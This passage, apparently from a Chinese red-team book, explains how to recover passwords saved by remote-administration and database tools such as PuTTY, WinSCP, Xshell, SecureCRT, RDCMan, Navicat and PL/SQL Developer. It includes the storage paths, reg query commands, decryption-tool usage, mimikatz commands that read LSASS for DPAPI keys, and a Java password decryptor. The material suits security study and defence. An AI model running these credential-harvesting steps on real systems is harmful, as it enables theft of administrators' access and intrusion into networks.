获取远程管理软件保存的凭据

点击星标,即时接收最新推文

101f4168dc47bd7860ff71235763fa5f.png

本文选自《内网安全攻防:红队之路》

扫描二维码五折购书

a784ac01e46bc614e176413ba6e474ed.png

aa7cfe49649dcbdb258d5f1f15a258d9.png

8a215bbb7a661743bf3a97a700e03e4f.png

内网敏感数据的发现

内网的核心敏感数据,不仅包括数据库、电子邮件,还包括个人数据及组织的业务数据、技术数据等。可以说,价值较高的数据基本都在内网中。本文重点介绍如何快速定位个人计算机,并对计算机操作系统信息、浏览器登录和使用的历史记录、用户文件操作行为以及聊天软件对话内容等信息进行收集。因此,了解攻击者的操作流程,对内网数据安全防护工作至关重要。

01

da97cea63b2e52a2a580b675c4ad2c6e.png

获取远程管理软件保存的凭据

381eb3bdfb337a0200860180848958e3.png

当我们定位并控制了一台网络管理员或者DBA的个人机后,可以分析其常用的远程管理软件,然后尝试破解其保存在软件内的凭证,从而快速获取管理员拥有的各种权限,进一步控制目标网络。

PuTTY

PuTTY是一个Windows平台的Telnet、SSH、rlogin、纯TCP以及串行接口连接软件。下载地址为:https://www.chiark.greenend.org.uk/~sgtatham/putty/。

PuTTY的连接记录保存在注册表中,默认情况下不支持保存密码:

#连接记录

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys

#保存的会话

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions

注册表保存的信息样例如图所示:

bd5f07d1814c18a55ba534012dd288ad.png

PuTTY注册表保存信息

我们可以使用下面的命令查看当前用户的连接记录:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys

下面命令可以查看所有用户的连接记录(需要管理员权限):

for /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get sid') do reg query HKEY_USERS\%c\Software\SimonTatham\PuTTY\SshHostKeys

WinSCP

WinSCP是一个Windows环境下使用SSH协议的开源图形化SFTP客户端。同时支持SCP协议。它的主要功能就是在本地与远程计算机间安全的复制文件。下载地址: https://winscp.net/eng/index.php

管理员如果选择了记住密码,则密码保存在注册表中或者WinSCP.ini中:

# 注册表

HKEY_USERS\SID\Software\Martin Prikryl\WinSCP 2\Sessions\

# 配置文件常见位置

C:\Users\%USERNAME%\AppData\Local\VirtualStore\Program Files (x86)\WinSCP\WinSCP.ini (64位操作系 统)

C:\Program Files (x86)\WinSCP\WinSCP.ini (64位操作系统) C:\Users\%USERNAME%\AppData\Local\VirtualStore\Program Files\WinSCP\WinSCP.ini (32位操作系统)

C:\Program Files\WinSCP\WinSCP.ini (32位操作系统)

c:\Users\%username%\documents\

注册表保存的信息,如图所示:

42aec75ecf95039b8b31ad514674d4ae.png

WinSCP注册表保存信息

我们可以使用winscppwd.exe对保存的密码进行解密,如图2-57所示,工具地址https://www.softpedia.com/get/Security/Password-Managers-Generators/winscppwd.shtml

Usage:

        winscppwd.exe [user host pwd|path/to/winscp.ini]

Examples:

        winscppwd.exe foo example.com 0123456789ABCDEF

        winscppwd.exe /tmp/winscp.ini

1eeae4d5417627b1d2bc9d14591d30a5.png

winscppwd.exe解密WinSCP密码

Xmangager系列产品

Xshell 是一个用于 MS Windows 平台的强大的 SSH, TELNET 和 RLOGIN 终端仿真软件。它使得用户能轻松和 安全地从 Windows PC 上访问 UniX/LinuX 主机。

Xftp 是一个用于 MS Windows 平台的强大的 FTP 和 SFTP 文件传输程序。Xftp 能安全地在 UniX/LinuX 和 Windows PC 之间传输文件。

不同版本配置文件保存路径有所不同,具体如下:

Product

Session File Location

XShell 5

%userprofile%\Documents\NetSarang\Xshell\Sessions

XFtp 5

%userprofile%\Documents\NetSarang\Xftp\Sessions

XShell 6

%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions

XFtp 6

%userprofile%\Documents\NetSarang Computer\6\Xftp\Sessions

对于Xmangager保存的密码,我们可以使用Xdecrypt.py进行解密,如图所示,工具下载地址为https://github.com/dzxs/Xdecrypt:

usage: Xdecrypt.py [-h] [-s SID] [-p PASSWORD]

xsh, xfp password decrypt

optional arguments:

  -h, --help            show this help message and exit

  -s SID, --sid SID     `username`+`sid`, user `whoami /user` in command.

  -p PASSWORD, --password PASSWORD

                        the password in sessions or path of sessions

b0176bd8df9c58fface98299c5f87e25.png

Xmangager产品密码解密

SecureCRT

Secure CRT 是一款 SSH 客户端软件,为 Windows、Mac 和 Linux 提供了终端模拟,通过先进的会话管理和 一系列节省时间和简化重复性任务的方法来提高生产力。SecureCRT 为你组织中的每个人提供安全的远程访问、文件传输和数据隧道。

SecureCRT配置文件保存路径如下:

%APPDATA%\VanDyke\Config\Sessions\sessionname.ini

# xp/Win2003

C:\Documents and Settings\%USERNAME%\Application Data\VanDyke\Config\Sessions

# Win7/win2008以上

C:\Users\%USERNAME%\AppData\Roaming\VanDyke\Config\Sessions

密文格式不同版本也有所不同:

#7.3.3之前

S:"Password"=c71bd1c86f3b804e42432f53247c50d9287f410c7e59166969acab69daa6eaadbe15c0c54c0e076e945 a6d82f9e13df2

#7.3.3之后

S:"Password V2"= 02:7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1 fc5cc1ae0ee2930e6af2e5e644a28ebe3fc

对于7.x及以下版本,可以使用SecureCRTCipher.py进行解密,如图2-59所示,下载地址;https://github.com/HyperSine/how-does-SecureCRT-encrypt-password/blob/master/python3/SecureCRTCipher.py

$ ./SecureCRTCipher.py

Usage:

    SecureCRTCipher.py <enc|dec> [-v2] [-p ConfigPassphrase] <plaintext|ciphertext>

    <enc|dec>              "enc" for encryption, "dec" for decryption.

                           This parameter must be specified.

    [-v2]                  Encrypt/Decrypt with "Password V2" algorithm.

                           This parameter is optional.

    [-p ConfigPassphrase]  The config passphrase that SecureCRT uses.

                           This parameter is optional.

    <plaintext|ciphertext> Plaintext string or ciphertext string.

                           NOTICE: Ciphertext string must be a hex string.

                           This parameter must be specified.

7f9f1bbd8dcdf1a313bc16c773379ad7.png

SecureCRT 7.x以下密码解密

如果上面的脚本无法解密,也可以尝试使用另一个工具SecureCRT-decryptpass.py进行解密,如图所示,下载地址为:

https://github.com/gitPoc32/Forensic/blob/master/VanDykeSecureCRT/SecureCRT-decryptpass.py

4d1db957e36c4c1961e076c4d9279190.png

使用SecureCRT-decryptpass.py解密密码

另外,对于高版本,可以把%APPDATA%\VanDyke\Config\整个目录拷贝到本机SecureCRT的Config目录下,然后直接连接。但需要注意的是版本要与目标主机使用的一致,否则可能出问题。

RDCMan

Remote Desktop Connection Manager (RDCMan) 是微软Windows Live体验团队的主要开发者 Julian Burger开发的一个远程桌面管理工具。简称为RDCMan。RDCMan可以集中管理、分类、组织远程桌面,相比Windows系统自带的远程桌面连接工具mstsc.exe要方便、省时的多。

RDCMan可以将连接的远程桌面信息保存为rdg文件。rdg文件内记录了目标IP、端口、登录所用用户名以及经过DPAPI加密的密码密文。

可以在目标主机使用mimikatz进行解密,如图所示:

adf9f9c418a4384ee24b0e4a9be33820.png 在线解密RDCMan密码

也可以在获取masterkry后离线解密,如图所示:

d6f94d65d5e0d503d688263aae57f46f.png 离线解密RDCMan密码

我们可以使用Mimikatz从LSASS进程内存提取Master Key(需管理员权限),如图所示:

mimikatz.exe

privilege::debug

sekurlsa::dpapi

exit

58957a7c800d7a3b368b43fd8cf3f264.png

Master Key提取

Navicat

Navicat是管理员常用的数据库工具,NavicatPremium支持MySQL,MariaDB,Oracle,SQLite, PostgreSQL和Microsoft SQL Server 多种数据库的连接。

Navicat连接凭证存储在注册表中:

Database Type

Path

MySQL

HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ <your connection name>

MariaDB

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\ <your connection name>

MongoDb

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\ <your connection name>

Microsoft SQL

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\ <your connection name>

Oracle

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\ <your connection name>

PostgreSQL

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\ <your connection name>

SQLite

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\ <your connection name>

注册表保存的信息样例如下,如图所示:

be71b4827b286b2ba2331a0baf1e1b25.png

Navicat注册表保存信息

我们可以使用NavicatCrypto.py对保存的密码进行解密,如图2-65所示,工具下载地址为:

https://github.com/HyperSine/how-does-navicat-encrypt-password/blob/master/python3/NavicatCipher.py

Usage:

    NavicatCrypto.py <enc|dec> [-ncx] <plaintext|ciphertext>

<enc|dec>

[-ncx]

<plaintext|ciphertext>

"enc" for encryption, "dec" for decryption.

This parameter must be specified.

Indicate that plaintext/ciphertext is

prepared for/exported from NCX file.

This parameter is optional.

Plaintext string or ciphertext string.

NOTICE: Ciphertext string must be a hex string.

This parameter must be specified.

d811d454c1bc5c498b51df055da61511.png

Navicat密码解密

PL/SQL Developer

PL/SQL Developer是一个集成开发环境,专门面向Oracle数据库存储程序单元的开发。如今,有越来越多的 商业逻辑和应用逻辑转向了Oracle Server,因此,PL/SQL编程也成了整个开发过程的一个重要组成部分。PL/SQL Developer侧重于易用性、代码品质和生产力,充分发挥Oracle应用程序开发过程中的主要优势。

PL/SQL Developer的凭据保存在如下路径的user.prefs文件的 [LogonHistory] 信息中:

C:\Users\%username%\AppData\Roaming\PLSQL Developer\Preferences\%username%\

C:\Program Files\PLSQL Developer\Preferences\%username%\

C:\Program Files (x86)\PLSQL Developer\Preferences\%username%\

每一行即为一个登录信息,这些信息是加密的,其明文格式如下为 username/password@server。

对于PL/SQL Developer的密码,我们可以使用下面的脚本进行解密,如图所示:

import java.util.ArrayList;

public class decrypt {

public static void decryptPassword(){

        String cryptText = "27364466441245823088463445483550317630583164315848803226352432463480326634363286";

        String plainText = "";

        ArrayList<Integer> values = new ArrayList<Integer>();

        for (int i = 0; i < cryptText.length(); i+= 4){

            values.add(Integer.parseInt((cryptText.substring(i, i + 4))));

        }

        int key = values.get(0);

        values.remove(0);

        for (int i = 0; i < values.size(); i++) {

            int val = values.get(i) - 1000;

            int mask = key + (10 * (i + 1));

            int res = (val ^ mask) >> 4;

            plainText += Character.toString((char)(res));

        }

        System.out.println("plainText:"+plainText);

    }

    public static void main(String[] args) {

        decryptPassword();

    }

 }

98b1aa55615ea8fa724914f2dfe870d3.png

PL/SQL Developer密码解密

—  实验室旗下直播培训课程  —

44016e1204d89656c5bb1945c47e5b9b.png

01b358eaf074d33d32ab4828fc04690e.jpeg

35f208ada583848a221d8fbcb011aa6c.jpegc7672a11d1427a7c64f3cb2a2e4903b4.png

9e23c1b8b1b3fa93e7f3352547b7ad60.png

7701874fb9bdc856101f0a8776313f49.jpeg

c5361b32364836cb22efe72af5453f39.jpeg

377f04277304c7ac55d52725902cfd0a.jpeg

a9a255b41e7ed47184a99980e8b27540.png

和20000+位同学加入MS08067一起学习

379c66154d7bd4e0299e23f4558f9791.gif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/466205.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

(零)OpenOFDM接收端整体思路

一旦捕获射频信号并将其下变频至基带&#xff0c;解码管道就会启动&#xff0c;包括&#xff1a; OFDM&#xff0c;多载波调制的一种。通过频分复用实现高速串行数据的并行传输, 它具有较好的抗多径衰落的能力&#xff0c;能够支持多用户接入。 OFDM主要思想是&#xff1a;将信…

(1)fopen,fseek,fread,ftell,rewind作用和使用方法,大端小端

文章目录 1.fopen&#xff0c;fseek&#xff0c;fread&#xff0c;ftell&#xff0c;rewind作用和使用方法2.bin文件里从0x0000到0x0x0007是00 00 DF 00 00 01 00 00&#xff0c;但是用fread读出来前四个字节是DF0000&#xff0c;然后是0x1000&#xff0c;这是为什么&#xff1…

2024蓝桥杯每日一题(回溯)

备战2024年蓝桥杯 -- 每日一题 Python大学A组 试题一&#xff1a;木棒 试题二&#xff1a;n皇后问题 试题三&#xff1a;糖果 试题四&#xff1a;飞机降落 试题五&#xff1a;生日蛋糕 试题一&#xff1a;木棒 【问题描述】 乔治拿来一组等长…

steam_api.dll“是什么?打开游戏出现找不到steam_api.dll无法继续执行代码如何解决

"steam_api.dll"是什么&#xff1f;&#xff0c;steam_api.dll它是由windows系统Visual C Redistributable for Visual Studio提供的。当这个文件损坏或丢失时&#xff0c;会导致一些应用程序无法运行&#xff0c;显示找不到"steam_api.dll"缺失错误。本文…

马斯克开源的grok AI大模型

马斯克践行诺言&#xff0c;坚持开源原则&#xff0c;选择开源自家的 AI 大模型——Grok-1 下载链接如下: https://github.com/xai-org/grok-1 Grok-1 开源仅过去了 10 个小时&#xff0c;该项目便获得了 超过16k 的 Star&#xff0c;成为众人关注的焦点所在。 后续继续更新…

Python二级备考(1)考纲+基础操作

考试大纲如下&#xff1a; 基本要求 考试内容 考试方式 比较希望能直接刷题&#xff0c;因为不懂的比较多可能会看视频。 基础操作刷题&#xff1a; 知乎大头计算机1-13题 import jieba txtinput() lsjieba.lcut(txt) print("{:.1f}".format(len(txt)/len(ls)…

springcloud:4.2 GateWay结合JWT实现网关鉴权

概述 概述 简介 JWT是一种用于双方之间传递安全信息的简洁的、URL安全的声明规范。 定义了一种简洁的,自包含的方法用于通信双方之间以Json对象的形式安全的传递信息。 特别适用于分布式站点的单点登录(SSO)场景 传统的session认证的缺点 安全性:CSRF攻击因为基于cookie来…

掌握AI写作工具:引领内容创作潮流

随着技术发展&#xff0c;AI技术正日益渗透到各行各业&#xff0c;并对内容创作领域产生了深远影响。随着AI写作工具的不断发展和普及&#xff0c;内容创作者们正逐渐看到了AI在提高效率、创造力和质量方面的巨大潜力。本文将探讨AI写作工具如何引领内容创作潮流&#xff0c;以…

vue antd table嵌套表格 左侧展开图标动态控制显示隐藏

antd a-table想要实现如以下效果&#xff0c;有子级就显示展开图标&#xff0c;没有就不显示图标&#xff1a; 话不多说&#xff0c;直接上代码&#xff1a; <template><a-table :columns"columns" :data-source"dataSource"><template #b…

最新若依项目快速上手

最新若依项目快速上手 配套视频&#xff1a;若依项目快速上手视频 1. 下载源码 官网&#xff1a;https://ruoyi.vip/ 前端 git clone https://github.com/yangzongzhuan/RuoYi-Vue3.git后端 git clone https://gitee.com/y_project/RuoYi-Vue.git2. 数据库 创建数据库ry-vue…

JAVA后端调用OpenAI接口 实现打字机效果(SSE)

SSE SSE&#xff08;Server-Sent Events&#xff0c;服务器发送事件&#xff09;是一种基于HTTP协议的通信技术&#xff0c;它允许服务器持续地将数据推送给客户端&#xff0c;而无需客户端发起请求。这种通信方式通常用于实时性要求较高的场景&#xff0c;如实时更新、通知、或…

Linux:搭建ntp服务器

我准备两个centos7服务器 一个为主服务器连接着外网&#xff0c;并且搭建了ntp服务给其他主机同步 另外一个没有连接外网&#xff0c;通过第一台设备去同步时间 首先两个服务器都要安装ntp软件 yum -y install ntp 再把他俩的时间都改成别的 左侧的是主服务器&#xff0c;主…

【Docker篇】自定义Dockerfile的操作

文章目录 &#x1f354;镜像结构&#x1f6f8;什么是Dockerfile⭐基于Ubuntu镜像构建一个新镜像&#xff0c;运行一个java项目&#x1f50e;使用 java:8-alpine &#x1f354;镜像结构 镜像是将应用程序及其需要的系统函数库、环境、配置、依赖打包而成。 我们以MySQL为例&am…

JVM中对象创建过程

在JVM中对象的创建&#xff0c;我们从一个new指令开始&#xff1a; 这个过程大概图示如下&#xff1a; 虚拟机收到new指令触发。 类加载检查&#xff1a;如果类没有被类加载器加载&#xff0c;则执行类加载流程&#xff08;将class信息加载到JVM的运行时数据区的过程&#xff…

KiCad 从原理图创建或者导出原理图符号

KiCad 从原理图创建或者导出原理图符号 原理图中&#xff0c;在下那个要导出的符号上点击右键-》属性-》编辑符号 在符号编辑中选择&#xff1a;文件-》导出符号 加微信&#xff1a;jiyuyun18, 交流电子技术 留言&#xff1a;CSND 电子技术交流群&#xff0c;加入电子微信电…

如何利用生成式AI进行品牌定位调研?

在激烈的市场竞争中&#xff0c;一个明确的品牌定位能够帮助企业突出其独特性&#xff0c;吸引并保留目标消费者。品牌定位调研是企业了解自身、竞争对手以及市场需求的重要手段&#xff0c;是制定有效市场策略的基础。本文将详细介绍如何进行品牌定位调研&#xff0c;包括调研…

PyTorch学习笔记之激活函数篇(四)

4、 Leaky ReLU 函数 4.1 公式 Leaky ReLU函数的公式&#xff1a; f ( x ) { x , x > 0 λ x , x < 0 , λ ∈ ( 0 , 1 ) f(x) \begin{cases} x&,x>0 \\ \lambda x&,x<0,\lambda \in(0,1) \end{cases} f(x){xλx​,x>0,x<0,λ∈(0,1)​ Leakly R…

MySQL连接数不足导致服务异常GetConnectionTimeoutException

文章目录 场景复现解决方案一、调整连接数二、优化程序 场景复现 已经上线正常运行的项目突然很多功能无法使用&#xff0c;查看程序日志发现MySQL报错&#xff0c;异常信息: Could not open JDBC Connection for transaction; nested exception is com.alibaba.druid.pool.Ge…

分布式(计算机算法)

目录 分布式计算 分布式​编辑 分布式和集群 分布式和集群的应用场景 分布式应用场景 集群应用场景 哪种技术更优、更快、更好呢 性能 稳定性 以下概念来源于百度百科 分布式计算 分布式计算是近年提出的一种新的计算方式。所谓分布式计算就是在两个或多个软件互相共享信息…

【ArcGISProSDK】添加异步执行时进度窗口

运行结果 代码 protected override async Task InitializeAsync(){using (ProgressorSource progressorSource new ProgressorSource("初始化...")){await QueuedTask.Run(delegate{MessageBox.Show(licenseExpirationDate.ToString());}, progressorSource.Progres…